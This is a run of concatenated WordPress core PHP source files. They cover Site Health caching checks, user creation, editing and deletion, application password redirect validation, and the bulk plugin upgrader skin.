				$header_values = wp_remote_retrieve_header( $http_response, $header );
				if ( empty( $header_values ) ) {
					continue;
				}
				$header_values = (array) $header_values;
				if ( empty( $callback ) || ( is_callable( $callback ) && count( array_filter( $header_values, $callback ) ) > 0 ) ) {
					$response_headers[ $header ] = $header_values;
				}
			}

			$page_caching_response_headers[] = $response_headers;
			$response_timing[]               = ( $end_time - $start_time ) * 1000;
		}

		return array(
			'advanced_cache_present'        => (
				file_exists( WP_CONTENT_DIR . '/advanced-cache.php' )
				&&
				( defined( 'WP_CACHE' ) && WP_CACHE )
				&&
				/** This filter is documented in wp-settings.php */
				apply_filters( 'enable_loading_advanced_cache_dropin', true )
			),
			'page_caching_response_headers' => $page_caching_response_headers,
			'response_timing'               => $response_timing,
		);
	}

	/**
	 * Gets page cache details.
	 *
	 * @since 6.1.0
	 *
	 * @return WP_Error|array {
	 *    Page cache detail or else a WP_Error if unable to determine.
	 *
	 *    @type string   $status                 Page cache status. Good, Recommended or Critical.
	 *    @type bool     $advanced_cache_present Whether page cache plugin is available or not.
	 *    @type string[] $headers                Client caching response headers detected.
	 *    @type float    $response_time          Response time of site.
	 * }
	 */
	private function get_page_cache_detail() {
		$page_cache_detail = $this->check_for_page_caching();
		if ( is_wp_error( $page_cache_detail ) ) {
			return $page_cache_detail;
		}

		// Use the median server response time.
		$response_timings = $page_cache_detail['response_timing'];
		rsort( $response_timings );
		$page_speed = $response_timings[ floor( count( $response_timings ) / 2 ) ];

		// Obtain unique set of all client caching response headers.
		$headers = array();
		foreach ( $page_cache_detail['page_caching_response_headers'] as $page_caching_response_headers ) {
			$headers = array_merge( $headers, array_keys( $page_caching_response_headers ) );
		}
		$headers = array_unique( $headers );

		// Page cache is detected if there are response headers or a page cache plugin is present.
		$has_page_caching = ( count( $headers ) > 0 || $page_cache_detail['advanced_cache_present'] );

		if ( $page_speed && $page_speed < $this->get_good_response_time_threshold() ) {
			$result = $has_page_caching ? 'good' : 'recommended';
		} else {
			$result = 'critical';
		}

		return array(
			'status'                 => $result,
			'advanced_cache_present' => $page_cache_detail['advanced_cache_present'],
			'headers'                => $headers,
			'response_time'          => $page_speed,
		);
	}

	/**
	 * Gets the threshold below which a response time is considered good.
	 *
	 * @since 6.1.0
	 *
	 * @return int Threshold in milliseconds.
	 */
	private function get_good_response_time_threshold() {
		/**
		 * Filters the threshold below which a response time is considered good.
		 *
		 * The default is based on https://web.dev/time-to-first-byte/.
		 *
		 * @param int $threshold Threshold in milliseconds. Default 600.
		 *
		 * @since 6.1.0
		 */
		return (int) apply_filters( 'site_status_good_response_time_threshold', 600 );
	}

	/**
	 * Determines whether to suggest using a persistent object cache.
	 *
	 * @since 6.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return bool Whether to suggest using a persistent object cache.
	 */
	public function should_suggest_persistent_object_cache() {
		global $wpdb;

		/**
		 * Filters whether to suggest use of a persistent object cache and bypass default threshold checks.
		 *
		 * Using this filter allows to override the default logic, effectively short-circuiting the method.
		 *
		 * @since 6.1.0
		 *
		 * @param bool|null $suggest Boolean to short-circuit, for whether to suggest using a persistent object cache.
		 *                           Default null.
		 */
		$short_circuit = apply_filters( 'site_status_should_suggest_persistent_object_cache', null );
		if ( is_bool( $short_circuit ) ) {
			return $short_circuit;
		}

		if ( is_multisite() ) {
			return true;
		}

		/**
		 * Filters the thresholds used to determine whether to suggest the use of a persistent object cache.
		 *
		 * @since 6.1.0
		 *
		 * @param int[] $thresholds The list of threshold numbers keyed by threshold name.
		 */
		$thresholds = apply_filters(
			'site_status_persistent_object_cache_thresholds',
			array(
				'alloptions_count' => 500,
				'alloptions_bytes' => 100000,
				'comments_count'   => 1000,
				'options_count'    => 1000,
				'posts_count'      => 1000,
				'terms_count'      => 1000,
				'users_count'      => 1000,
			)
		);

		$alloptions = wp_load_alloptions();

		if ( $thresholds['alloptions_count'] < count( $alloptions ) ) {
			return true;
		}

		if ( $thresholds['alloptions_bytes'] < strlen( serialize( $alloptions ) ) ) {
			return true;
		}

		$table_names = implode( "','", array( $wpdb->comments, $wpdb->options, $wpdb->posts, $wpdb->terms, $wpdb->users ) );

		// With InnoDB the `TABLE_ROWS` are estimates, which are accurate enough and faster to retrieve than individual `COUNT()` queries.
		$results = $wpdb->get_results(
			$wpdb->prepare(
				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- This query cannot use interpolation.
				"SELECT TABLE_NAME AS 'table', TABLE_ROWS AS 'rows', SUM(data_length + index_length) as 'bytes' FROM information_schema.TABLES WHERE TABLE_SCHEMA = %s AND TABLE_NAME IN ('$table_names') GROUP BY TABLE_NAME;",
				DB_NAME
			),
			OBJECT_K
		);

		$threshold_map = array(
			'comments_count' => $wpdb->comments,
			'options_count'  => $wpdb->options,
			'posts_count'    => $wpdb->posts,
			'terms_count'    => $wpdb->terms,
			'users_count'    => $wpdb->users,
		);

		foreach ( $threshold_map as $threshold => $table ) {
			if ( $thresholds[ $threshold ] <= $results[ $table ]->rows ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns a list of available persistent object cache services.
	 *
	 * @since 6.1.0
	 *
	 * @return string[] The list of available persistent object cache services.
	 */
	private function available_object_cache_services() {
		$extensions = array_map(
			'extension_loaded',
			array(
				'APCu'      => 'apcu',
				'Redis'     => 'redis',
				'Relay'     => 'relay',
				'Memcache'  => 'memcache',
				'Memcached' => 'memcached',
			)
		);

		$services = array_keys( array_filter( $extensions ) );

		/**
		 * Filters the persistent object cache services available to the user.
		 *
		 * This can be useful to hide or add services not included in the defaults.
		 *
		 * @since 6.1.0
		 *
		 * @param string[] $services The list of available persistent object cache services.
		 */
		return apply_filters( 'site_status_available_object_cache_services', $services );
	}
}
<?php
/**
 * WordPress user administration API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Creates a new user from the "Users" form using $_POST information.
 *
 * @since 2.0.0
 *
 * @return int|WP_Error WP_Error or User ID.
 */
function add_user() {
	return edit_user();
}

/**
 * Edit user settings based on contents of $_POST
 *
 * Used on user-edit.php and profile.php to manage and process user options, passwords etc.
 *
 * @since 2.0.0
 *
 * @param int $user_id Optional. User ID.
 * @return int|WP_Error User ID of the updated user or WP_Error on failure.
 */
function edit_user( $user_id = 0 ) {
	$wp_roles = wp_roles();
	$user     = new stdClass();
	$user_id  = (int) $user_id;
	if ( $user_id ) {
		$update           = true;
		$user->ID         = $user_id;
		$userdata         = get_userdata( $user_id );
		$user->user_login = wp_slash( $userdata->user_login );
	} else {
		$update = false;
	}

	if ( ! $update && isset( $_POST['user_login'] ) ) {
		$user->user_login = sanitize_user( wp_unslash( $_POST['user_login'] ), true );
	}

	$pass1 = '';
	$pass2 = '';
	if ( isset( $_POST['pass1'] ) ) {
		$pass1 = trim( $_POST['pass1'] );
	}
	if ( isset( $_POST['pass2'] ) ) {
		$pass2 = trim( $_POST['pass2'] );
	}

	if ( isset( $_POST['role'] ) && current_user_can( 'promote_users' ) && ( ! $user_id || current_user_can( 'promote_user', $user_id ) ) ) {
		$new_role = sanitize_text_field( $_POST['role'] );

		// If the new role isn't editable by the logged-in user die with error.
		$editable_roles = get_editable_roles();
		if ( ! empty( $new_role ) && empty( $editable_roles[ $new_role ] ) ) {
			wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
		}

		$potential_role = isset( $wp_roles->role_objects[ $new_role ] ) ? $wp_roles->role_objects[ $new_role ] : false;

		/*
		 * Don't let anyone with 'promote_users' edit their own role to something without it.
		 * Multisite super admins can freely edit their roles, they possess all caps.
		 */
		if (
			( is_multisite() && current_user_can( 'manage_network_users' ) ) ||
			get_current_user_id() !== $user_id ||
			( $potential_role && $potential_role->has_cap( 'promote_users' ) )
		) {
			$user->role = $new_role;
		}
	}

	if ( isset( $_POST['email'] ) ) {
		$user->user_email = sanitize_text_field( wp_unslash( $_POST['email'] ) );
	}
	if ( isset( $_POST['url'] ) ) {
		if ( empty( $_POST['url'] ) || 'http://' === $_POST['url'] ) {
			$user->user_url = '';
		} else {
			$user->user_url = sanitize_url( $_POST['url'] );
			$protocols      = implode( '|', array_map( 'preg_quote', wp_allowed_protocols() ) );
			$user->user_url = preg_match( '/^(' . $protocols . '):/is', $user->user_url ) ? $user->user_url : 'http://' . $user->user_url;
		}
	}
	if ( isset( $_POST['first_name'] ) ) {
		$user->first_name = sanitize_text_field( $_POST['first_name'] );
	}
	if ( isset( $_POST['last_name'] ) ) {
		$user->last_name = sanitize_text_field( $_POST['last_name'] );
	}
	if ( isset( $_POST['nickname'] ) ) {
		$user->nickname = sanitize_text_field( $_POST['nickname'] );
	}
	if ( isset( $_POST['display_name'] ) ) {
		$user->display_name = sanitize_text_field( $_POST['display_name'] );
	}

	if ( isset( $_POST['description'] ) ) {
		$user->description = trim( $_POST['description'] );
	}

	foreach ( wp_get_user_contact_methods( $user ) as $method => $name ) {
		if ( isset( $_POST[ $method ] ) ) {
			$user->$method = sanitize_text_field( $_POST[ $method ] );
		}
	}

	if ( isset( $_POST['locale'] ) ) {
		$locale = sanitize_text_field( $_POST['locale'] );
		if ( 'site-default' === $locale ) {
			$locale = '';
		} elseif ( '' === $locale ) {
			$locale = 'en_US';
		} elseif ( ! in_array( $locale, get_available_languages(), true ) ) {
			if ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
				if ( ! wp_download_language_pack( $locale ) ) {
					$locale = '';
				}
			} else {
				$locale = '';
			}
		}

		$user->locale = $locale;
	}

	if ( $update ) {
		$user->rich_editing         = isset( $_POST['rich_editing'] ) && 'false' === $_POST['rich_editing'] ? 'false' : 'true';
		$user->syntax_highlighting  = isset( $_POST['syntax_highlighting'] ) && 'false' === $_POST['syntax_highlighting'] ? 'false' : 'true';
		$user->admin_color          = isset( $_POST['admin_color'] ) ? sanitize_text_field( $_POST['admin_color'] ) : 'fresh';
		$user->show_admin_bar_front = isset( $_POST['admin_bar_front'] ) ? 'true' : 'false';
	}

	$user->comment_shortcuts = isset( $_POST['comment_shortcuts'] ) && 'true' === $_POST['comment_shortcuts'] ? 'true' : '';

	$user->use_ssl = 0;
	if ( ! empty( $_POST['use_ssl'] ) ) {
		$user->use_ssl = 1;
	}

	$errors = new WP_Error();

	/* checking that username has been typed */
	if ( '' === $user->user_login ) {
		$errors->add( 'user_login', __( '<strong>Error:</strong> Please enter a username.' ) );
	}

	/* checking that nickname has been typed */
	if ( $update && empty( $user->nickname ) ) {
		$errors->add( 'nickname', __( '<strong>Error:</strong> Please enter a nickname.' ) );
	}

	/**
	 * Fires before the password and confirm password fields are checked for congruity.
	 *
	 * @since 1.5.1
	 *
	 * @param string $user_login The username.
	 * @param string $pass1     The password (passed by reference).
	 * @param string $pass2     The confirmed password (passed by reference).
	 */
	do_action_ref_array( 'check_passwords', array( $user->user_login, &$pass1, &$pass2 ) );

	// Check for blank password when adding a user.
	if ( ! $update && empty( $pass1 ) ) {
		$errors->add( 'pass', __( '<strong>Error:</strong> Please enter a password.' ), array( 'form-field' => 'pass1' ) );
	}

	// Check for "\" in password.
	if ( str_contains( wp_unslash( $pass1 ), '\\' ) ) {
		$errors->add( 'pass', __( '<strong>Error:</strong> Passwords may not contain the character "\\".' ), array( 'form-field' => 'pass1' ) );
	}

	// Checking the password has been typed twice the same.
	if ( ( $update || ! empty( $pass1 ) ) && $pass1 !== $pass2 ) {
		$errors->add( 'pass', __( '<strong>Error:</strong> Passwords do not match. Please enter the same password in both password fields.' ), array( 'form-field' => 'pass1' ) );
	}

	if ( ! empty( $pass1 ) ) {
		$user->user_pass = $pass1;
	}

	if ( ! $update && isset( $_POST['user_login'] ) && ! validate_username( $_POST['user_login'] ) ) {
		$errors->add( 'user_login', __( '<strong>Error:</strong> This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
	}

	if ( ! $update && username_exists( $user->user_login ) ) {
		$errors->add( 'user_login', __( '<strong>Error:</strong> This username is already registered. Please choose another one.' ) );
	}

	/** This filter is documented in wp-includes/user.php */
	$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );

	if ( in_array( strtolower( $user->user_login ), array_map( 'strtolower', $illegal_logins ), true ) ) {
		$errors->add( 'invalid_username', __( '<strong>Error:</strong> Sorry, that username is not allowed.' ) );
	}

	// Checking email address.
	if ( empty( $user->user_email ) ) {
		$errors->add( 'empty_email', __( '<strong>Error:</strong> Please enter an email address.' ), array( 'form-field' => 'email' ) );
	} elseif ( ! is_email( $user->user_email ) ) {
		$errors->add( 'invalid_email', __( '<strong>Error:</strong> The email address is not correct.' ), array( 'form-field' => 'email' ) );
	} else {
		$owner_id = email_exists( $user->user_email );
		if ( $owner_id && ( ! $update || ( $owner_id !== $user->ID ) ) ) {
			$errors->add( 'email_exists', __( '<strong>Error:</strong> This email is already registered. Please choose another one.' ), array( 'form-field' => 'email' ) );
		}
	}

	/**
	 * Fires before user profile update errors are returned.
	 *
	 * @since 2.8.0
	 *
	 * @param WP_Error $errors WP_Error object (passed by reference).
	 * @param bool     $update Whether this is a user update.
	 * @param stdClass $user   User object (passed by reference).
	 */
	do_action_ref_array( 'user_profile_update_errors', array( &$errors, $update, &$user ) );

	if ( $errors->has_errors() ) {
		return $errors;
	}

	if ( $update ) {
		$user_id = wp_update_user( $user );
	} else {
		$user_id = wp_insert_user( $user );
		$notify  = isset( $_POST['send_user_notification'] ) ? 'both' : 'admin';

		/**
		 * Fires after a new user has been created.
		 *
		 * @since 4.4.0
		 *
		 * @param int|WP_Error $user_id ID of the newly created user or WP_Error on failure.
		 * @param string       $notify  Type of notification that should happen. See
		 *                              wp_send_new_user_notifications() for more information.
		 */
		do_action( 'edit_user_created_user', $user_id, $notify );
	}
	return $user_id;
}

/**
 * Fetch a filtered list of user roles that the current user is
 * allowed to edit.
 *
 * Simple function whose main purpose is to allow filtering of the
 * list of roles in the $wp_roles object so that plugins can remove
 * inappropriate ones depending on the situation or user making edits.
 * Specifically because without filtering anyone with the edit_users
 * capability can edit others to be administrators, even if they are
 * only editors or authors. This filter allows admins to delegate
 * user management.
 *
 * @since 2.8.0
 *
 * @return array[] Array of arrays containing role information.
 */
function get_editable_roles() {
	$all_roles = wp_roles()->roles;

	/**
	 * Filters the list of editable roles.
	 *
	 * @since 2.8.0
	 *
	 * @param array[] $all_roles Array of arrays containing role information.
	 */
	$editable_roles = apply_filters( 'editable_roles', $all_roles );

	return $editable_roles;
}

/**
 * Retrieve user data and filter it.
 *
 * @since 2.0.5
 *
 * @param int $user_id User ID.
 * @return WP_User|false WP_User object on success, false on failure.
 */
function get_user_to_edit( $user_id ) {
	$user = get_userdata( $user_id );

	if ( $user ) {
		$user->filter = 'edit';
	}

	return $user;
}

/**
 * Retrieve the user's drafts.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id User ID.
 * @return array
 */
function get_users_drafts( $user_id ) {
	global $wpdb;
	$query = $wpdb->prepare( "SELECT ID, post_title FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'draft' AND post_author = %d ORDER BY post_modified DESC", $user_id );

	/**
	 * Filters the user's drafts query string.
	 *
	 * @since 2.0.0
	 *
	 * @param string $query The user's drafts query string.
	 */
	$query = apply_filters( 'get_users_drafts', $query );
	return $wpdb->get_results( $query );
}

/**
 * Delete user and optionally reassign posts and links to another user.
 *
 * Note that on a Multisite installation the user only gets removed from the site
 * and does not get deleted from the database.
 *
 * If the `$reassign` parameter is not assigned to a user ID, then all posts will
 * be deleted of that user. The action {@see 'delete_user'} that is passed the user ID
 * being deleted will be run after the posts are either reassigned or deleted.
 * The user meta will also be deleted that are for that user ID.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $id       User ID.
 * @param int $reassign Optional. Reassign posts and links to new User ID.
 * @return bool True when finished.
 */
function wp_delete_user( $id, $reassign = null ) {
	global $wpdb;

	if ( ! is_numeric( $id ) ) {
		return false;
	}

	$id   = (int) $id;
	$user = new WP_User( $id );

	if ( ! $user->exists() ) {
		return false;
	}

	// Normalize $reassign to null or a user ID. 'novalue' was an older default.
	if ( 'novalue' === $reassign ) {
		$reassign = null;
	} elseif ( null !== $reassign ) {
		$reassign = (int) $reassign;
	}

	/**
	 * Fires immediately before a user is deleted from the site.
	 *
	 * Note that on a Multisite installation the user only gets removed from the site
	 * and does not get deleted from the database.
	 *
	 * @since 2.0.0
	 * @since 5.5.0 Added the `$user` parameter.
	 *
	 * @param int      $id       ID of the user to delete.
	 * @param int|null $reassign ID of the user to reassign posts and links to.
	 *                           Default null, for no reassignment.
	 * @param WP_User  $user     WP_User object of the user to delete.
	 */
	do_action( 'delete_user', $id, $reassign, $user );

	if ( null === $reassign ) {
		$post_types_to_delete = array();
		foreach ( get_post_types( array(), 'objects' ) as $post_type ) {
			if ( $post_type->delete_with_user ) {
				$post_types_to_delete[] = $post_type->name;
			} elseif ( null === $post_type->delete_with_user && post_type_supports( $post_type->name, 'author' ) ) {
				$post_types_to_delete[] = $post_type->name;
			}
		}

		/**
		 * Filters the list of post types to delete with a user.
		 *
		 * @since 3.4.0
		 *
		 * @param string[] $post_types_to_delete Array of post types to delete.
		 * @param int      $id                   User ID.
		 */
		$post_types_to_delete = apply_filters( 'post_types_to_delete_with_user', $post_types_to_delete, $id );
		$post_types_to_delete = implode( "', '", $post_types_to_delete );
		$post_ids             = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d AND post_type IN ('$post_types_to_delete')", $id ) );
		if ( $post_ids ) {
			foreach ( $post_ids as $post_id ) {
				wp_delete_post( $post_id );
			}
		}

		// Clean links.
		$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );

		if ( $link_ids ) {
			foreach ( $link_ids as $link_id ) {
				wp_delete_link( $link_id );
			}
		}
	} else {
		$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) );
		$wpdb->update( $wpdb->posts, array( 'post_author' => $reassign ), array( 'post_author' => $id ) );
		if ( ! empty( $post_ids ) ) {
			foreach ( $post_ids as $post_id ) {
				clean_post_cache( $post_id );
			}
		}
		$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );
		$wpdb->update( $wpdb->links, array( 'link_owner' => $reassign ), array( 'link_owner' => $id ) );
		if ( ! empty( $link_ids ) ) {
			foreach ( $link_ids as $link_id ) {
				clean_bookmark_cache( $link_id );
			}
		}
	}

	// FINALLY, delete user.
	if ( is_multisite() ) {
		remove_user_from_blog( $id, get_current_blog_id() );
	} else {
		$meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) );
		foreach ( $meta as $mid ) {
			delete_metadata_by_mid( 'user', $mid );
		}

		$wpdb->delete( $wpdb->users, array( 'ID' => $id ) );
	}

	clean_user_cache( $user );

	/**
	 * Fires immediately after a user is deleted from the site.
	 *
	 * Note that on a Multisite installation the user may not have been deleted from
	 * the database depending on whether `wp_delete_user()` or `wpmu_delete_user()`
	 * was called.
	 *
	 * @since 2.9.0
	 * @since 5.5.0 Added the `$user` parameter.
	 *
	 * @param int      $id       ID of the deleted user.
	 * @param int|null $reassign ID of the user to reassign posts and links to.
	 *                           Default null, for no reassignment.
	 * @param WP_User  $user     WP_User object of the deleted user.
	 */
	do_action( 'deleted_user', $id, $reassign, $user );

	return true;
}

/**
 * Remove all capabilities from user.
 *
 * @since 2.1.0
 *
 * @param int $id User ID.
 */
function wp_revoke_user( $id ) {
	$id = (int) $id;

	$user = new WP_User( $id );
	$user->remove_all_caps();
}

/**
 * @since 2.8.0
 *
 * @global int $user_ID
 *
 * @param false $errors Deprecated.
 */
function default_password_nag_handler( $errors = false ) {
	global $user_ID;
	// Short-circuit it.
	if ( ! get_user_option( 'default_password_nag' ) ) {
		return;
	}

	// get_user_setting() = JS-saved UI setting. Else no-js-fallback code.
	if ( 'hide' === get_user_setting( 'default_password_nag' )
		|| isset( $_GET['default_password_nag'] ) && '0' === $_GET['default_password_nag']
	) {
		delete_user_setting( 'default_password_nag' );
		update_user_meta( $user_ID, 'default_password_nag', false );
	}
}

/**
 * @since 2.8.0
 *
 * @param int     $user_ID
 * @param WP_User $old_data
 */
function default_password_nag_edit_user( $user_ID, $old_data ) {
	// Short-circuit it.
	if ( ! get_user_option( 'default_password_nag', $user_ID ) ) {
		return;
	}

	$new_data = get_userdata( $user_ID );

	// Remove the nag if the password has been changed.
	if ( $new_data->user_pass !== $old_data->user_pass ) {
		delete_user_setting( 'default_password_nag' );
		update_user_meta( $user_ID, 'default_password_nag', false );
	}
}

/**
 * @since 2.8.0
 *
 * @global string $pagenow The filename of the current screen.
 */
function default_password_nag() {
	global $pagenow;

	// Short-circuit it.
	if ( 'profile.php' === $pagenow || ! get_user_option( 'default_password_nag' ) ) {
		return;
	}

	$default_password_nag_message  = sprintf(
		'<p><strong>%1$s</strong> %2$s</p>',
		__( 'Notice:' ),
		__( 'You are using the auto-generated password for your account. Would you like to change it?' )
	);
	$default_password_nag_message .= sprintf(
		'<p><a href="%1$s">%2$s</a> | ',
		esc_url( get_edit_profile_url() . '#password' ),
		__( 'Yes, take me to my profile page' )
	);
	$default_password_nag_message .= sprintf(
		'<a href="%1$s" id="default-password-nag-no">%2$s</a></p>',
		'?default_password_nag=0',
		__( 'No thanks, do not remind me again' )
	);

	wp_admin_notice(
		$default_password_nag_message,
		array(
			'additional_classes' => array( 'error', 'default-password-nag' ),
			'paragraph_wrap'     => false,
		)
	);
}

/**
 * @since 3.5.0
 * @access private
 */
function delete_users_add_js() {
	?>
<script>
jQuery( function($) {
	var submit = $('#submit').prop('disabled', true);
	$('input[name="delete_option"]').one('change', function() {
		submit.prop('disabled', false);
	});
	$('#reassign_user').focus( function() {
		$('#delete_option1').prop('checked', true).trigger('change');
	});
} );
</script>
	<?php
}

/**
 * Optional SSL preference that can be turned on by hooking to the 'personal_options' action.
 *
 * See the {@see 'personal_options'} action.
 *
 * @since 2.7.0
 *
 * @param WP_User $user User data object.
 */
function use_ssl_preference( $user ) {
	?>
	<tr class="user-use-ssl-wrap">
		<th scope="row"><?php _e( 'Use https' ); ?></th>
		<td><label for="use_ssl"><input name="use_ssl" type="checkbox" id="use_ssl" value="1" <?php checked( '1', $user->use_ssl ); ?> /> <?php _e( 'Always use https when visiting the admin' ); ?></label></td>
	</tr>
	<?php
}

/**
 * @since MU (3.0.0)
 *
 * @param string $text
 * @return string
 */
function admin_created_user_email( $text ) {
	$roles = get_editable_roles();
	$role  = $roles[ $_REQUEST['role'] ];

	if ( '' !== get_bloginfo( 'name' ) ) {
		$site_title = wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES );
	} else {
		$site_title = parse_url( home_url(), PHP_URL_HOST );
	}

	return sprintf(
		/* translators: 1: Site title, 2: Site URL, 3: User role. */
		__(
			'Hi,
You\'ve been invited to join \'%1$s\' at
%2$s with the role of %3$s.
If you do not want to join this site please ignore
this email. This invitation will expire in a few days.

Please click the following link to activate your user account:
%%s'
		),
		$site_title,
		home_url(),
		wp_specialchars_decode( translate_user_role( $role['name'] ) )
	);
}

/**
 * Checks if the Authorize Application Password request is valid.
 *
 * @since 5.6.0
 * @since 6.2.0 Allow insecure HTTP connections for the local environment.
 * @since 6.3.2 Validates the success and reject URLs to prevent `javascript` pseudo protocol from being executed.
 *
 * @param array   $request {
 *     The array of request data. All arguments are optional and may be empty.
 *
 *     @type string $app_name    The suggested name of the application.
 *     @type string $app_id      A UUID provided by the application to uniquely identify it.
 *     @type string $success_url The URL the user will be redirected to after approving the application.
 *     @type string $reject_url  The URL the user will be redirected to after rejecting the application.
 * }
 * @param WP_User $user The user authorizing the application.
 * @return true|WP_Error True if the request is valid, a WP_Error object contains errors if not.
 */
function wp_is_authorize_application_password_request_valid( $request, $user ) {
	$error = new WP_Error();

	if ( isset( $request['success_url'] ) ) {
		$validated_success_url = wp_is_authorize_application_redirect_url_valid( $request['success_url'] );
		if ( is_wp_error( $validated_success_url ) ) {
			$error->add(
				$validated_success_url->get_error_code(),
				$validated_success_url->get_error_message()
			);
		}
	}

	if ( isset( $request['reject_url'] ) ) {
		$validated_reject_url = wp_is_authorize_application_redirect_url_valid( $request['reject_url'] );
		if ( is_wp_error( $validated_reject_url ) ) {
			$error->add(
				$validated_reject_url->get_error_code(),
				$validated_reject_url->get_error_message()
			);
		}
	}

	if ( ! empty( $request['app_id'] ) && ! wp_is_uuid( $request['app_id'] ) ) {
		$error->add(
			'invalid_app_id',
			__( 'The application ID must be a UUID.' )
		);
	}

	/**
	 * Fires before application password errors are returned.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_Error $error   The error object.
	 * @param array    $request The array of request data.
	 * @param WP_User  $user    The user authorizing the application.
	 */
	do_action( 'wp_authorize_application_password_request_errors', $error, $request, $user );

	if ( $error->has_errors() ) {
		return $error;
	}

	return true;
}

/**
 * Validates the redirect URL protocol scheme. The protocol can be anything except `http` and `javascript`.
 *
 * @since 6.3.2
 *
 * @param string $url The redirect URL to be validated.
 * @return true|WP_Error True if the redirect URL is valid, a WP_Error object otherwise.
 */
function wp_is_authorize_application_redirect_url_valid( $url ) {
	$bad_protocols = array( 'javascript', 'data' );
	if ( empty( $url ) ) {
		return true;
	}

	// Based on https://www.rfc-editor.org/rfc/rfc2396#section-3.1
	$valid_scheme_regex = '/^[a-zA-Z][a-zA-Z0-9+.-]*:/';
	if ( ! preg_match( $valid_scheme_regex, $url ) ) {
		return new WP_Error(
			'invalid_redirect_url_format',
			__( 'Invalid URL format.' )
		);
	}

	/**
	 * Filters the list of invalid protocols used in applications redirect URLs.
	 *
	 * @since 6.3.2
	 *
	 * @param string[] $bad_protocols Array of invalid protocols.
	 * @param string   $url The redirect URL to be validated.
	 */
	$invalid_protocols = apply_filters( 'wp_authorize_application_redirect_url_invalid_protocols', $bad_protocols, $url );
	$invalid_protocols = array_map( 'strtolower', $invalid_protocols );

	$scheme   = wp_parse_url( $url, PHP_URL_SCHEME );
	$host     = wp_parse_url( $url, PHP_URL_HOST );
	$is_local = 'local' === wp_get_environment_type();

	// Validates if the proper URI format is applied to the URL.
	if ( empty( $host ) || empty( $scheme ) || in_array( strtolower( $scheme ), $invalid_protocols, true ) ) {
		return new WP_Error(
			'invalid_redirect_url_format',
			__( 'Invalid URL format.' )
		);
	}

	if ( 'http' === $scheme && ! $is_local ) {
		return new WP_Error(
			'invalid_redirect_scheme',
			__( 'The URL must be served over a secure connection.' )
		);
	}

	return true;
}
<?php
/**
 * Upgrader API: Bulk_Plugin_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Bulk Plugin Upgrader Skin for WordPress Plugin Upgrades.
 *
 * @since 3.0.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see Bulk_Upgrader_Skin
 */
class Bulk_Plugin_Upgrader_Skin extends Bulk_Upgrader_Skin {

	/**
	 * Plugin info.
	 *
	 * The Plugin_Upgrader::bulk_upgrade() method will fill this in
	 * with info retrieved from the get_plugin_data() function.
	 *
	 * @var array Plugin data. Values will be empty if not supplied by the plugin.
	 */
	public $plugin_info = array();

	public function add_strings() {
		parent::add_strings();
		/* translators: 1: Plugin name, 2: Number of the plugin, 3: Total number of plugins being updated. */
		$this->upgrader->strings['skin_before_update_header'] = __( 'Updating Plugin %1$s (%2$d/%3$d)' );
	}

	/**
	 * @param string $title
	 */
	public function before( $title = '' ) {
		parent::before( $this->plugin_info['Title'] );
	}

	/**
	 * @param string $title
	 */
	public function after( $title = '' ) {
		parent::after( $this->plugin_info['Title'] );
		$this->decrement_update_count( 'plugin' );
	}

	/**
	 */
	public function bulk_footer() {
		parent::bulk_footer();

		$update_actions = array(
			'plugins_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'plugins.php' ),
				__( 'Go to Plugins page' )
			),
			'updates_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'update-core.php' ),
				__( 'Go to WordPress Updates page' )
			),
		);

		if ( ! current_user_can( 'activate_plugins' ) ) {
			unset( $update_actions['plugins_page'] );
		}

		/**
		 * Filters the list of action links available following bulk plugin updates.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $update_actions Array of plugin action links.
		 * @param array    $plugin_info    Array of information for the last-updated plugin.
		 */
		$update_actions = apply_filters( 'update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info );

		if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
<?php
/**
 * Misc WordPress Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Returns whether the server is running Apache with the mod_rewrite module loaded.
 *
 * @since 2.0.0
 *
 * @return bool Whether the server is running Apache with the mod_rewrite module loaded.
 */
function got_mod_rewrite() {
	$got_rewrite = apache_mod_loaded( 'mod_rewrite', true );

	/**
	 * Filters whether Apache and mod_rewrite are present.
	 *
	 * This filter was previously used to force URL rewriting for other servers,
	 * like nginx. Use the {@see 'got_url_rewrite'} filter in got_url_rewrite() instead.
	 *
	 * @since 2.5.0
	 *
	 * @see got_url_rewrite()
	 *
	 * @param bool $got_rewrite Whether Apache and mod_rewrite are present.
	 */
	return apply_filters( 'got_rewrite', $got_rewrite );
}

/**
 * Returns whether the server supports URL rewriting.
 *
 * Detects Apache's mod_rewrite, IIS 7.0+ permalink support, and nginx.
 *
 * @since 3.7.0
 *
 * @global bool $is_nginx
 * @global bool $is_caddy
 *
 * @return bool Whether the server supports URL rewriting.
 */
